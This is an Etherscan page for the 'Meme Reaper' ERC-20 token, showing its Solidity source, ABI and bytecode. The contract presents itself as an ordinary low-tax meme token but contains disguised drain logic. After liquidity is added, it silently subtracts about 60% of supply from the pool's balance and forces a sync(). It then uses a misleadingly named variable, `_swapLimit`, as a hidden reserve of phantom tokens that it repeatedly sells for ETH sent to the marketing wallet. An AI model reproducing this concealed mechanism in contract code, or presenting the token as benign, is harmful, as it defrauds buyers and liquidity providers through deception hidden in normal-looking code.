ERC-20
Overview
Max Total Supply
1,000,000 REAPER
Holders
157
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,084.810318937 REAPERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Reaper
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-20 */ //SPDX-License-Identifier: MIT /* https://t.me/MemeReaperCoin https://MemeReaper.com */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { _owner = creatorOwner; } modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable newOwner) external onlyOwner { _owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address _owner); } contract Reaper is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1_000_000 * (10**_decimals); string private constant _name = "Meme Reaper"; string private constant _symbol = "REAPER"; uint8 private antiSnipeTax1 = 4; uint8 private antiSnipeTax2 = 2; uint8 private antiSnipeBlocks1 = 1; uint8 private antiSnipeBlocks2 = 1; uint256 private _antiMevBlock = 2; uint8 private _buyTaxRate = 1; uint8 private _sellTaxRate = 1; uint16 private _taxSharesMarketing = 100; uint16 private _taxSharesLP = 0; uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesLP; address payable private _walletMarketing = payable(0x5f9afBcb225CB2a6662f243b8ee548Ec4bb42ebE); uint256 private _launchBlock; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 10 / 100000; uint256 private _taxSwapMax = _totalSupply * 15 / 100000; uint256 private _swapLimit = _taxSwapMin * 60 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private _lpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { _lpOwner = msg.sender; uint256 airdropFunds = _totalSupply * 7 / 100; uint256 marketingFunds = _totalSupply * 2 / 100; _balances[address(this)] = _totalSupply - airdropFunds - marketingFunds; emit Transfer(address(0), address(this), _balances[address(this)]); _balances[_owner] = airdropFunds; emit Transfer(address(0), _owner, _balances[_owner]); _balances[_walletMarketing] = marketingFunds; emit Transfer(address(0), _walletMarketing, _balances[_walletMarketing]); _noFees[_owner] = true; _noFees[address(this)] = true; _noFees[_swapRouterAddress] = true; _noFees[_walletMarketing] = true; _noLimits[_owner] = true; _noLimits[address(this)] = true; _noLimits[_swapRouterAddress] = true; _noLimits[_walletMarketing] = true; } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(sender), "Trading not open"); if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][_swapRouterAddress] = type(uint256).max; emit Approval(address(this), _swapRouterAddress, type(uint256).max); } } function addLiquidity() external payable onlyOwner lockTaxSwap { require(_primaryLP == address(0), "LP exists"); require(!_tradingOpen, "trading is open"); require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message"); require(_balances[address(this)]>0, "No tokens in contract"); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH()); _addLiquidity(_balances[address(this)], address(this).balance, false); _balances[_primaryLP] -= _swapLimit; (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()")); require(lpAddSuccess, "Failed adding liquidity"); _isLP[_primaryLP] = lpAddSuccess; _openTrading(); } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = _lpOwner; if ( autoburn ) { lpTokenRecipient = address(0); } _approveRouter(_tokenAmount); _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function _openTrading() internal { _maxTxAmount = _totalSupply * 1 / 100; _maxWalletAmount = _totalSupply * 1 / 100; _tradingOpen = true; _launchBlock = block.number; _antiMevBlock = _antiMevBlock + _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); } if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); } if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) { require(recipient == tx.origin, "MEV blocked"); } if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; _swapLimit += _taxAmount; _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) { if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address sender) private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLP[sender] ) { if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) { taxAmount = amount * _buyTaxRate / 100; } else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) { taxAmount = amount * antiSnipeTax2 / 100; } else if ( block.number >= _launchBlock) { taxAmount = amount * antiSnipeTax1 / 100; } } else if ( _isLP[recipient] ) { taxAmount = amount * _sellTaxRate / 100; } return taxAmount; } function exemptFromFees(address wallet) external view returns (bool) { return _noFees[wallet]; } function exemptFromLimits(address wallet) external view returns (bool) { return _noLimits[wallet]; } function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner { if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); } _noFees[ wallet ] = noFees; _noLimits[ wallet ] = noLimits; } function buyFee() external view returns(uint8) { return _buyTaxRate; } function sellFee() external view returns(uint8) { return _sellTaxRate; } function feeSplit() external view returns (uint16 marketing, uint16 LP ) { return ( _taxSharesMarketing, _taxSharesLP); } function setFees(uint8 buy, uint8 sell) external onlyOwner { require(buy + sell <= 10, "Roundtrip too high"); _buyTaxRate = buy; _sellTaxRate = sell; } function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner { uint16 totalShares = sharesAutoLP + sharesMarketing; require( totalShares > 0, "All cannot be 0"); _taxSharesLP = sharesAutoLP; _taxSharesMarketing = sharesMarketing; _totalTaxShares = totalShares; } function marketingWallet() external view returns (address) { return _walletMarketing; } function updateWallets(address marketing, address LPtokens) external onlyOwner { require(!_isLP[marketing] && !_isLP[LPtokens], "LP cannot be tax wallet"); _walletMarketing = payable(marketing); _lpOwner = LPtokens; _noFees[marketing] = true; _noLimits[marketing] = true; } function maxWallet() external view returns (uint256) { return _maxWalletAmount; } function maxTransaction() external view returns (uint256) { return _maxTxAmount; } function swapAtMin() external view returns (uint256) { return _taxSwapMin; } function swapAtMax() external view returns (uint256) { return _taxSwapMax; } function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1; require(newTxAmt >= _maxTxAmount, "tx too low"); _maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1; require(newWalletAmt >= _maxWalletAmount, "wallet too low"); _maxWalletAmount = newWalletAmt; } function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { _taxSwapMin = _totalSupply * minValue / minDivider; _taxSwapMax = _totalSupply * maxValue / maxDivider; require(_taxSwapMax>=_taxSwapMin, "Min/Max error"); require(_taxSwapMax>_totalSupply / 100000, "Max too low"); require(_taxSwapMax<_totalSupply / 100, "Max too high"); } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = _swapLimit; if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) { if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; if( _tokensToSwap > 10**_decimals ) { uint256 _ethPreSwap = address(this).balance; _balances[address(this)] += _taxTokensAvailable; _swapTaxTokensForEth(_tokensToSwap); _swapLimit -= _taxTokensAvailable; uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _taxSharesLP > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, false); } } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _primarySwapRouter.WETH(); _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 amount) private { _walletMarketing.transfer(amount); } function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap { require(swapTokenPercent <= 100, "Cannot swap more than 100%"); uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100; if (tokensToSwap > 10 ** _decimals) { _swapTaxTokensForEth(tokensToSwap); } if (sendEth) { uint256 ethBalance = address(this).balance; require(ethBalance > 0, "No ETH"); _distributeTaxEth(address(this).balance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526004600060146101000a81548160ff021916908360ff1602179055506002600060156101000a81548160ff021916908360ff1602179055506001600060166101000a81548160ff021916908360ff1602179055506001600060176101000a81548160ff021916908360ff16021790555060026001556001600260006101000a81548160ff021916908360ff1602179055506001600260016101000a81548160ff021916908360ff16021790555060646002806101000a81548161ffff021916908361ffff1602179055506000600260046101000a81548161ffff021916908361ffff160217905550600260049054906101000a900461ffff1660028054906101000a900461ffff1662000118919062000b69565b600260066101000a81548161ffff021916908361ffff160217905550735f9afbcb225cb2a6662f243b8ee548ec4bb42ebe600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000199919062000d11565b620f4240620001a9919062000d62565b6004556009600a620001bc919062000d11565b620f4240620001cc919062000d62565b600555620186a0600a6009600a620001e5919062000d11565b620f4240620001f5919062000d62565b62000201919062000d62565b6200020d919062000ddc565b600655620186a0600f6009600a62000226919062000d11565b620f424062000236919062000d62565b62000242919062000d62565b6200024e919062000ddc565b6007556064603c60065462000264919062000d62565b62000270919062000d62565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160016101000a81548160ff021916908315150217905550348015620002f057600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606460076009600a6200038a919062000d11565b620f42406200039a919062000d62565b620003a6919062000d62565b620003b2919062000ddc565b90506000606460026009600a620003ca919062000d11565b620f4240620003da919062000d62565b620003e6919062000d62565b620003f2919062000ddc565b905080826009600a62000406919062000d11565b620f424062000416919062000d62565b62000422919062000e14565b6200042e919062000e14565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000510919062000e60565b60405180910390a381600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200065d919062000e60565b60405180910390a38060096000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60096000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620007ae919062000e60565b60405180910390a36001600b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000e7d565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b768262000b2c565b915062000b838362000b2c565b9250828201905061ffff81111562000ba05762000b9f62000b3a565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111562000c055780860481111562000bdd5762000bdc62000b3a565b5b600185161562000bed5780820291505b808102905062000bfd8562000ba6565b945062000bbd565b94509492505050565b60008262000c20576001905062000cf3565b8162000c30576000905062000cf3565b816001811462000c49576002811462000c545762000c8a565b600191505062000cf3565b60ff84111562000c695762000c6862000b3a565b5b8360020a91508482111562000c835762000c8262000b3a565b5b5062000cf3565b5060208310610133831016604e8410600b841016171562000cc45782820a90508381111562000cbe5762000cbd62000b3a565b5b62000cf3565b62000cd3848484600162000bb3565b9250905081840481111562000ced5762000cec62000b3a565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d1e8262000cfa565b915062000d2b8362000d04565b925062000d5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c0e565b905092915050565b600062000d6f8262000cfa565b915062000d7c8362000cfa565b925082820262000d8c8162000cfa565b9150828204841483151762000da65762000da562000b3a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000de98262000cfa565b915062000df68362000cfa565b92508262000e095762000e0862000dad565b5b828204905092915050565b600062000e218262000cfa565b915062000e2e8362000cfa565b925082820390508181111562000e495762000e4862000b3a565b5b92915050565b62000e5a8162000cfa565b82525050565b600060208201905062000e77600083018462000e4f565b92915050565b614c128062000e8d6000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f7578063a9059cbb11610095578063e8ba854f11610064578063e8ba854f1461067b578063f2fde38b146106a4578063f8978401146106cd578063f8b45b05146106f6576101d8565b8063a9059cbb146105cc578063c3f70b5214610609578063dd62ed3e14610634578063e8078d9414610671576101d8565b80638d3e6e40116100d15780638d3e6e40146105105780638da5cb5b1461054d57806395d89b4114610578578063a6097b0a146105a3576101d8565b806370a0823114610491578063715018a6146104ce57806375f0a874146104e5576101d8565b8063368f48001161016f5780634fcd24461161013e5780634fcd2446146103d657806357ff135a146103ff5780635a90a49e146104285780636373ea6914610465576101d8565b8063368f48001461032c57806346b898341461035557806347062402146103805780634d4ce935146103ab576101d8565b806323b872dd116101ab57806323b872dd146102705780632b14ca56146102ad5780632fb528ba146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610721565b6040516101ff91906136ba565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190613775565b61075e565b60405161023c91906137d0565b60405180910390f35b34801561025157600080fd5b5061025a610850565b60405161026791906137fa565b60405180910390f35b34801561027c57600080fd5b5061029760048036038101906102929190613815565b610873565b6040516102a491906137d0565b60405180910390f35b3480156102b957600080fd5b506102c2610a7d565b6040516102cf9190613884565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906138f7565b610a94565b005b34801561030d57600080fd5b50610316610c7a565b6040516103239190613884565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e9190613971565b610c83565b005b34801561036157600080fd5b5061036a610e3f565b60405161037791906137fa565b60405180910390f35b34801561038c57600080fd5b50610395610e49565b6040516103a29190613884565b60405180910390f35b3480156103b757600080fd5b506103c0610e60565b6040516103cd91906137fa565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f891906139b1565b610e6a565b005b34801561040b57600080fd5b50610426600480360381019061042191906139f1565b610f84565b005b34801561043457600080fd5b5061044f600480360381019061044a9190613a44565b611161565b60405161045c91906137d0565b60405180910390f35b34801561047157600080fd5b5061047a6111b7565b604051610488929190613a80565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613a44565b6111e2565b6040516104c591906137fa565b60405180910390f35b3480156104da57600080fd5b506104e361122b565b005b3480156104f157600080fd5b506104fa611334565b6040516105079190613ab8565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190613a44565b61135e565b60405161054491906137d0565b60405180910390f35b34801561055957600080fd5b506105626113b4565b60405161056f9190613ab8565b60405180910390f35b34801561058457600080fd5b5061058d6113dd565b60405161059a91906136ba565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613b0f565b61141a565b005b3480156105d857600080fd5b506105f360048036038101906105ee9190613775565b611655565b60405161060091906137d0565b60405180910390f35b34801561061557600080fd5b5061061e6116b2565b60405161062b91906137fa565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190613b76565b6116bc565b60405161066891906137fa565b60405180910390f35b610679611743565b005b34801561068757600080fd5b506106a2600480360381019061069d9190613b76565b611e30565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bf4565b6120d7565b005b3480156106d957600080fd5b506106f460048036038101906106ef9190613971565b6121df565b005b34801561070257600080fd5b5061070b61231f565b60405161071891906137fa565b60405180910390f35b60606040518060400160405280600b81526020017f4d656d6520526561706572000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161083e91906137fa565b60405180910390a36001905092915050565b60006009600a6108609190613d83565b620f424061086e9190613dce565b905090565b600061087e84612329565b6108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490613e5c565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a695781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffff